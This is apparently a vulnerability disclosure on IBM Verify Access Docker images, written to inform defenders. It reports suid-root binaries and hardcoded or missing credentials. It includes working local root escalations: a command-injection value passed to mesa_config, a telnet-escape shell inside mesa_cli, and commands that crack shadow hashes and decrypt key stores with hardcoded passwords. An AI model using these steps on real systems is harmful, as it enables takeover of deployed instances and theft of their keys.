The binary npm has incorrect permissions in the ibmcom/verify-access instance, allowing any user to run rpm as root.
Using a static analysis, with the file system that has been extracted - the usr/bin/rpm
program is root:root
and 4755
:
kali-extraction-docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB
ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB
ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB
ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB
kali-extraction-docker# ls -la ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr 5 14:38 ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm
While checking on a live system, we can confirm the permissions 4755
(suid bit) are used in the verify-access docker image. The file belongs to root:root
:
[isam@verify-access /]$ ls -la /usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr 6 02:38 /usr/bin/rpm
[isam@verify-access /]$ /usr/bin/rpm
RPM version 4.14.3
Copyright (C) 1998-2002 - Red Hat, Inc.
This program may be freely redistributed under the terms of the GNU GPL
Usage: rpm [-afgpcdLAlsiv?] [-a|--all] [-f|--file] [--path] [-g|--group] [-p|--package] [--pkgid] [--hdrid] [--triggeredby] [--whatconflicts] [--whatrequires] [--whatobsoletes] [--whatprovides] [--whatrecommends]
[--whatsuggests] [--whatsupplements] [--whatenhances] [--nomanifest] [-c|--configfiles] [-d|--docfiles] [-L|--licensefiles] [-A|--artifactfiles] [--dump] [-l|--list] [--queryformat=QUERYFORMAT] [-s|--state]
[--nofiledigest] [--nofiles] [--nodeps] [--noscript] [--allfiles] [--allmatches] [--badreloc] [-e|--erase=<package>+] [--excludedocs] [--excludepath=<path>] [--force] [-F|--freshen=<packagefile>+] [-h|--hash]
[--ignorearch] [--ignoreos] [--ignoresize] [--noverify] [-i|--install] [--justdb] [--nodeps] [--nofiledigest] [--nocontexts] [--nocaps] [--noorder] [--noscripts] [--notriggers] [--oldpackage] [--percent]
[--prefix=<dir>] [--relocate=<old>=<new>] [--replacefiles] [--replacepkgs] [--test] [-U|--upgrade=<packagefile>+] [--reinstall=<packagefile>+] [-D|--define='MACRO EXPR'] [--undefine=MACRO] [-E|--eval='EXPR']
[--target=CPU-VENDOR-OS] [--macros=<FILE:...>] [--noplugins] [--nodigest] [--nosignature] [--rcfile=<FILE:...>] [-r|--root=ROOT] [--dbpath=DIRECTORY] [--querytags] [--showrc] [--quiet] [-v|--verbose]
[--version] [-?|--help] [--usage] [--scripts] [--setperms] [--setugids] [--setcaps] [--restore] [--conflicts] [--obsoletes] [--provides] [--requires] [--recommends] [--suggests] [--supplements]
[--enhances] [--info] [--changelog] [--changes] [--xml] [--triggers] [--filetriggers] [--last] [--dupes] [--filesbypkg] [--fileclass] [--filecolor] [--fileprovide] [--filerequire] [--filecaps]
[isam@verify-access /]$
An attacker can run rpm as root to add or remove any package in the system, providing a full root access.
It was observed that the official IBM Docker ibmcom/verify-access image contains several binaries with incorrect permissions (4755
- suid bit, with root:root
or root:ivmgr
as ownership) allowing any local user to run these programs as root:
Binaries with the suid bit:
[isam@verify-access]$ ls -la /usr/sbin/slapd
-rwsr-sr-x 1 root ivmgr 1916768 Jun 8 13:30 /usr/sbin/slapd
[isam@verify-access]$ ls -la /usr/sbin/mesa_lcd
-rwsr-xr-x 1 root root 57240 Jun 8 13:29 /usr/sbin/mesa_lcd
[isam@verify-access]$ ls -la /usr/sbin/mesa_control
-rwsr-xr-x 1 root root 98448 Jun 8 13:29 /usr/sbin/mesa_control
[isam@verify-access]$ ls -la /usr/sbin/mesa_config
-rwsr-sr-x 1 root root 2975680 Jun 8 13:29 /usr/sbin/mesa_config
[isam@verify-access]$ ls -la /usr/sbin/mesa_stats
-rwsr-xr-x 1 root root 11176 Jun 8 13:13 /usr/sbin/mesa_stats
[isam@verify-access]$ ls -la /usr/sbin/mesa_cli
-rwsr-xr-x 1 root root 436160 Jun 8 13:29 /usr/sbin/mesa_cli
[isam@verify-access]$ ls -la /usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr 6 02:38 /usr/bin/rpm
[isam@verify-access]$ ls -la /opt/PolicyDirector/bin/pdmgrd
-r-sr-sr-x 1 root ivmgr 32040 Jun 8 13:30 /opt/PolicyDirector/bin/pdmgrd
[isam@verify-access]$ ls -la /opt/pdweb/bin/webseald
-r-sr-s--- 1 root ivmgr 29296 Jun 8 13:30 /opt/pdweb/bin/webseald
[isam@verify-access]$ ls -la /opt/dsc/bin/dscd
-r-sr-s--- 1 ivmgr ivmgr 24264 Jun 8 13:30 /opt/dsc/bin/dscd
Four trivial Local Privilege Escalations were found using the suid bit. Some additional LPEs may also exist in these programs. Trivial LPEs can be found everywhere in the mesa_* programs.
An attacker can get Local Privilege Escalations as root inside instances based on the ibmcom/verify-access image.
The code of mesa_*
programs contains several trivial vulnerabilities due to the use of the MesaSystem
function (and its derivatives) found in the libwsmesa.so
library. This function is an insecure wrapper to the execv()
function using the arguments /bin/sh -c
and attacker-controlled values. The use of /bin/sh -c
allows command injections.
The mesa_config
program allows importing a new snapshot. This allows an attacker to get a Local Privilege Escalation as root by importing a new snapshot:
The function MainApplySnapshot
will install the new malicious snapshot as root:
Exploiting the fips_zeroize_files
option in the mesa_config
program will provide a root access.
The following PoC will provide root privileges inside the current instance:
[isam@verify-access /]$ id uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data) [isam@verify-access /]$ cat /tmp/test.sh #!/bin/sh id > /tmp/id-2 [isam@verify-access /]$ ls -la /tmp/id-2 ls: cannot access '/tmp/id-2': No such file or directory [isam@verify-access /]$ /usr/sbin/mesa_config fips_zeroize_files "AAAAAAAAAAAAAAAAAAAAAAAA;/tmp/test.sh" [isam@verify-access /]$ ls -la /tmp/id-2 -rw-rw-r-- 1 root root 102 Oct 13 21:32 /tmp/id-2 [isam@verify-access /]$ cat /tmp/id-2 uid=0(root) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data) [isam@verify-access /]$
The main_cli program is also vulnerable to LPE. This tool allows managing the instance from any user:
[isam@verify-access]$ mesa_cli
Welcome to the IBM Security Verify Access appliance
Enter "help" for a list of available commands
verify-access> help
Current mode commands:
diagnostics Work with the IBM Security Verify Access diagnostics.
extensions List and remove extensions installed on the appliance.
fips View FIPS 140-2 state and events.
fixpacks Work with fix packs.
isam Work with the IBM Security Verify Access settings.
license Work with licenses.
lmi Work with the local management interface.
lmt Work with the license metric tool.
management Work with management settings.
pending_changes Work with the IBM Security Verify Access pending
changes.
snapshots Work with policy snapshot files.
support Work with support information files.
tools Work with network diagnostic tools.
Global commands:
back Return to the previous command mode.
exit Log off from the appliance.
help Display information for using the specified command.
reload Reload the container configuration.
shutdown End system operation and turn off the power.
state Display the current state of the container.
top Return to the top level.
verify-access> snapshots
verify-access:snapshots> help
Current mode commands:
apply Apply a policy snapshot file to the system.
create Create a snapshot of current policy files.
delete Delete a policy snapshot file.
get_comment View the comment associated with a policy snapshot file.
list List the policy snapshot files.
set_comment Replace the comment associated with a policy snapshot
file.
Global commands:
back Return to the previous command mode.
exit Log off from the appliance.
help Display information for using the specified command.
reload Reload the container configuration.
shutdown End system operation and turn off the power.
state Display the current state of the container.
top Return to the top level.
verify-access:snapshots> exit
[isam@verify-access /]$
The apply
command inside the snapshots menu allows an attacker to install a new malicious snapshot as root and get a Local Privilege Escalation.
Another LPE was found using the telnet client available within mesa_cli
: it is possible to escape the telnet client using the ^]
keys and get a shell as root:
[isam@verify-access /]$ id
uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
[isam@verify-access /]$ mesa_cli
Welcome to the IBM Security Verify Access appliance
Enter "help" for a list of available commands
verify-access> tools
verify-access:tools> telnet test-server01.lan 22
Trying 10.0.0.14...
Connected to test-server01.lan.
Escape character is '^]'.
SSH-2.0-OpenSSH_8.0
^]
telnet> !sh
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
sh-4.4# touch /tmp/pwned-root
sh-4.4# exit
exit
^]
telnet> q
Connection closed.
verify-access:tools> exit
[isam@verify-access /]$ ls -la /tmp/pwned-root
-rw-r--r-- 1 root root 0 Oct 13 22:21 /tmp/pwned-root
[isam@verify-access /]$
The sub_410330
function will execv()
telnet through the MesaSpawn
function:
It was observed that all the official IBM Docker images (ibmcom/verify-access-runtime, ibmcom/verify-access-wrp, ibmcom/verify-access and ibmcom/verify-access-dsc) contain the outdated OpenSSL package openssl-1.1.1k-6.el8_5.x86_64. This package contains several vulnerabilities that were patched in August 2022.
At the time of the analysis (28 October 2022), these vulnerabilities were patched by Red Hat but the official IBM Docker images were still vulnerable.
Analysis of the libssl.so.1.1.1k files found in the 4 Docker images:
kali-docker# sha256sum **/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
kali-docker# strings ./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k|grep 1.1.1
OPENSSL_1_1_1
OPENSSL_1_1_1a
OpenSSL 1.1.1k FIPS 25 Mar 2021
libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64.debug
We can confirm the OpenSSL version is provided by the package libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64.
The security announcement from Redhat patching vulnerabilities in the version libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64 is RHSA-2022:5818-01.
The packages patching the vulnerabilities are:
With access to live systems, we can confirm that the patches have not been applied and the systems are still vulnerable:
[root@container-01]# podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
a2142514d831 ibmcom/verify-access-runtime/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
e0c55b6440cf ibmcom/verify-access-dsc/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:8443-8444->8443-8444/tcp verify-access-dsc
[root@container-01]# for i in 413823e2f7d1 a2142514d831 e0c55b6440cf; do podman exec -it $i bash -c 'rpm -qa|grep -i openssl';echo;done
openssl-1.1.1k-6.el8_5.x86_64
openssl-libs-1.1.1k-6.el8_5.x86_64
apr-util-openssl-1.6.1-6.el8.x86_64
openssl-libs-1.1.1k-6.el8_5.x86_64
openssl-libs-1.1.1k-6.el8_5.x86_64
openssl-1.1.1k-6.el8_5.x86_64
The official Docker images contain known vulnerabilities.
It was observed that the configuration file /etc/sysconfig/sshd-permitrootlogin
will allow the connection from root in the Docker images:
kali-docker# find . | grep sshd-permitrootlogin
./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/etc/sysconfig/sshd-permitrootlogin
./_verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
./_verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
./_verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
kali-docker# cat */*/etc/sysconfig/sshd-permitrootlogin
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
If a SSH server was installed inside the instances, it would be then possible to login as root.
cluster
userIt was observed that the cluster
user in the Docker image verify-access does not have a password defined in the /etc/shadow
file:
kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/passwd | grep cluster
cluster:x:5003:1006::/home/cluster:/usr/sbin/wga_clustersh
kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow | grep cluster
cluster::19151:0:99999:7:::
kali-docker# john --show _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow
admin:admin:19151:0:99999:7:::
cluster:NO PASSWORD:19151:0:99999:7:::
2 password hashes cracked, 0 left
In the live environment, it was confirmed that the user cluster
does not have a password in the verify-access
instance:
[root@test-server 5ecd09e2d7bb10f3bec5b6be4c2298d6bdb54b70a75ce67944651b6b5330821e]# cat ./merged/etc/shadow | grep cluster
cluster::19151:0:99999:7:::
If a SSH server was installed inside the instances, it would be then possible to login as cluster without a password.
A user with a local access can get cluster
privileges.
It was observed that passwords are saved in 3 non-standard files in the Docker image verify-access:
/etc/shadow.isam
/etc/admin.pwd
/etc/wga_notifications.conf
Furthermore, the /etc/shadow.isam
and /etc/wga_notifications.conf
files are world-readable.
When extracting verify-access, we can find the /etc/shadow.isam
file:
kali-docker# cat ./698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/shadow.isam
admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
When checking on the live system (verify-access), we can find these 3 previous files, 2 of which are world-readable:
[root@container-01]# podman ps | grep 413823e2f7d1
413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
[root@container-01]#
[root@container-01]# podman ps|grep 413823e2f7d1
413823e2f7d1 ibmcom/verify-access/verify-access/10.0.4.0:20220926.6 25 hours ago Up 25 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/wga_notifications.conf /etc/shadow.isam /etc/admin.pwd
-rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd
-rw-r--r-- 1 root root 305 Jun 8 13:43 /etc/shadow.isam
-rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf
[root@container-01]#
Furthermore, we can extract passwords from these files. The hash in /etc/shadow.isam
seems to be hardcoded (admin
):
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/shadow.isam
admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/admin.pwd
-rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/admin.pwd
[REDACTED]
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/wga_notifications.conf
-rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/wga_notifications.conf
[...]
sam_cluster.hvdb.driver_type = thin
isam_cluster.hvdb.embedded = false
isam_cluster.hvdb.port = 1536
isam_cluster.hvdb.pwd = [REDACTED]
isam_cluster.hvdb.secure = false
[...]
A local attacker can extract hashes from world-readable files and elevate its privileges.
The use of /etc/shadow.isam
is unknown.
It was observed the Docker image verify-access contains hardcoded PKCS#12 files:
The /var/isam/cluster/sundry/odbc/ewallet.p12
file can be found inside the verify-access image:
kali-docker# ls -la ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
-rw-r--r-- 1 5000 5000 736 Jun 8 01:32 ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
kali-docker# sha256sum ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5 ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
When checking on the live system (verify-access), we can find this unchanged file:
[root@container-01]# podman ps | grep 413823e2f7d1
413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 26 hours ago Up 26 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /var/isam/cluster/sundry/odbc/
total 16
drwxr-xr-x 2 www-data www-data 4096 Jun 8 13:43 .
drwxr-xr-x 3 cluster cluster 4096 Jun 8 13:43 ..
-rw-r--r-- 1 www-data www-data 781 Jun 8 13:32 cwallet.sso
-rw-r--r-- 1 www-data www-data 0 Jun 8 13:32 cwallet.sso.lck
-rw-r--r-- 1 www-data www-data 736 Jun 8 13:32 ewallet.p12
-rw-r--r-- 1 www-data www-data 0 Jun 8 13:32 ewallet.p12.lck
[root@container-01]# podman exec -it 413823e2f7d1 sha256sum /var/isam/cluster/sundry/odbc/ewallet.p12
687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5 /var/isam/cluster/sundry/odbc/ewallet.p12
[root@container-01]#
This file is used by several programs, with a trivial password (passw0rd
) to encrypt it:
Assembly code of the function authorSqlFuseFiles
found inside mesa_config
, used to extract ewallet.p12:
Extraction using OpenSSL:
kali-docker# openssl pkcs12 -in ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12 -out /tmp/ewallet.test
Enter Import Password: [passw0rd]
kali-docker# cat /tmp/ewallet.test
Bag Attributes
localKeyID: E6 B6 52 DD 00 00 00 04 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 04
subject=C = us, O = ibm, CN = rhel66.home.com
issuer=C = us, O = ibm, CN = rhel66.home.com
-----BEGIN CERTIFICATE-----
MIIB2TCCAUICAQAwDQYJKoZIhvcNAQEEBQAwNTELMAkGA1UEBhMCdXMxDDAKBgNV
BAoTA2libTEYMBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMB4XDTE2MDYwNDE4MjAx
N1oXDTI2MDYwMjE4MjAxN1owNTELMAkGA1UEBhMCdXMxDDAKBgNVBAoTA2libTEY
MBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQC5awQOrQ/BlLYQ1dC0+e2NplzULT447UNrj8yaPqH0FeoqgLH29FzpVJV1
IWzN06IGSUEeyAck7u7EUg1BK3eyfwO3o1qolrvRkm4Rsvg+yijUIr2aSV0Xz9oR
71C+YMHr1MtGi6Xn432+vPSc2AxQVBKCVj0rBGka6V9mwWDPewIDAQABMA0GCSqG
SIb3DQEBBAUAA4GBAF9QlpGUC9QcxgI0B77xY0/2bNd3xBfS+hTbgyyoWRzH43so
1VG97F6g0rR6wvsAOTdr7kJn+t7sMyuhdJ2/TmZFATUL+6j9XpJH+7r+Ca4iIMB+
ysi09PVz6ccrsgpD9SiYxQ4HMJ+YKBahPg3geEUIkratxB69qZy0uP5WSp64
-----END CERTIFICATE-----
kali-docker# openssl x509 -in /tmp/ewallet.test -text -noout
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 0 (0x0)
Signature Algorithm: md5WithRSAEncryption
Issuer: C = us, O = ibm, CN = rhel66.home.com
Validity
Not Before: Jun 4 18:20:17 2016 GMT
Not After : Jun 2 18:20:17 2026 GMT
Subject: C = us, O = ibm, CN = rhel66.home.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:b9:6b:04:0e:ad:0f:c1:94:b6:10:d5:d0:b4:f9:
ed:8d:a6:5c:d4:2d:3e:38:ed:43:6b:8f:cc:9a:3e:
a1:f4:15:ea:2a:80:b1:f6:f4:5c:e9:54:95:75:21:
6c:cd:d3:a2:06:49:41:1e:c8:07:24:ee:ee:c4:52:
0d:41:2b:77:b2:7f:03:b7:a3:5a:a8:96:bb:d1:92:
6e:11:b2:f8:3e:ca:28:d4:22:bd:9a:49:5d:17:cf:
da:11:ef:50:be:60:c1:eb:d4:cb:46:8b:a5:e7:e3:
7d:be:bc:f4:9c:d8:0c:50:54:12:82:56:3d:2b:04:
69:1a:e9:5f:66:c1:60:cf:7b
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
Signature Value:
5f:50:96:91:94:0b:d4:1c:c6:02:34:07:be:f1:63:4f:f6:6c:
d7:77:c4:17:d2:fa:14:db:83:2c:a8:59:1c:c7:e3:7b:28:d5:
51:bd:ec:5e:a0:d2:b4:7a:c2:fb:00:39:37:6b:ee:42:67:fa:
de:ec:33:2b:a1:74:9d:bf:4e:66:45:01:35:0b:fb:a8:fd:5e:
92:47:fb:ba:fe:09:ae:22:20:c0:7e:ca:c8:b4:f4:f5:73:e9:
c7:2b:b2:0a:43:f5:28:98:c5:0e:07:30:9f:98:28:16:a1:3e:
0d:e0:78:45:08:92:b6:ad:c4:1e:bd:a9:9c:b4:b8:fe:56:4a:
9e:b8
The other files have been decrypted using IBM Crypto For C
and OpenSSL.
The lmi_trust_store.p12
file in the verify-access image contains several CAs and will also include the hardcoded key for the Isam CA
in a live instance (after configuration):
kali-docker# file=ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/pdweb/shared/keytab/lmi_trust_store.p12
kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw passwordpassword
kali-docker# openssl pkcs12 -in /tmp/tmp.p12 -info -passin pass:passwordpassword
MAC: sha1, Iteration 1024
MAC length: 20, salt length: 8
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024
Certificate bag
Bag Attributes
friendlyName: CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US
localKeyID: 03 82 01 01 00 CB 9C 37 AA 48 13 12 0A FA DD 44 9C 4F 52 B0 F4 DF AE 04 F5 79 79 08 A3 24 18 FC 4B 2B 84 C0 2D B9 D5 C7 FE F4 C1 1F 58 CB B8 6D 9C 7A 74 E7 98 29 AB 11 B5 E3 70 A0 A1 CD 4C 88 99 93 8C 91 70 E2 AB 0F 1C BE 93 A9 FF 63 D5 E4 07 60 D3 A3 BF 9D 5B 09 F1 D5 8E E3 53 F4 8E 63 FA 3F A7 DB B4 66 DF 62 66 D6 D1 6E 41 8D F2 2D B5 EA 77 4A 9F 9D 58 E2 2B 59 C0 40 23 ED 2D 28 82 45 3E 79 54 92 26 98 E0 80 48 A8 37 EF F0 D6 79 60 16 DE AC E8 0E CD 6E AC 44 17 38 2F 49 DA E1 45 3E 2A B9 36 53 CF 3A 50 06 F7 2E E8 C4 57 49 6C 61 21 18 D5 04 AD 78 3C 2C 3A 80 6B A7 EB AF 15 14 E9 D8 89 C1 B9 38 6C E2 91 6C 8A FF 64 B9 77 25 57 30 C0 1B 24 A3 E1 DC E9 DF 47 7C B5 B4 24 08 05 30 EC 2D BD 0B BF 45 BF 50 B9 A9 F3 EB 98 01 12 AD C8 88 C6 98 34 5F 8D 0A 3C C6 E9 D5 95 95 6D DE
2.16.840.1.113894.746875.1.1: <Unsupported tag 6>
subject=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
issuer=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD
QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT
MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB
CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97
nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt
43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P
T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4
gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR
TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw
DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr
hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg
06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF
PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls
YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----
Certificate bag
Bag Attributes
friendlyName: CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US
[...]
When auditing live installations, the decrypted lmi_trust_store.p12
file will contain the private key of the isam CA.
kali% openssl x509 -in crt.pem -text -noout -modulus
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 14004578023842938
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = us, O = ibm, CN = isam
Validity
Not Before: Sep 19 07:01:51 2022 GMT
Not After : Sep 17 07:01:51 2032 GMT
Subject: C = us, O = ibm, CN = isam
[...]
Modulus=C8B3[REDACTED]
kali% openssl rsa -in crt.key -modulus
Enter pass phrase for crt.key:
Modulus=C8B3[REDACTED]
writing RSA key
-----BEGIN PRIVATE KEY-----
[REDACTED]
-----END PRIVATE KEY-----
It is also possible to decrypt the embedded_ldap_keys.p12
file:
kali-docker# openssl pkcs12 -in embedded_ldap_keys.p12 -info -passin pass:passwordpassword
MAC: sha1, Iteration 1024
MAC length: 20, salt length: 8
PKCS7 Data
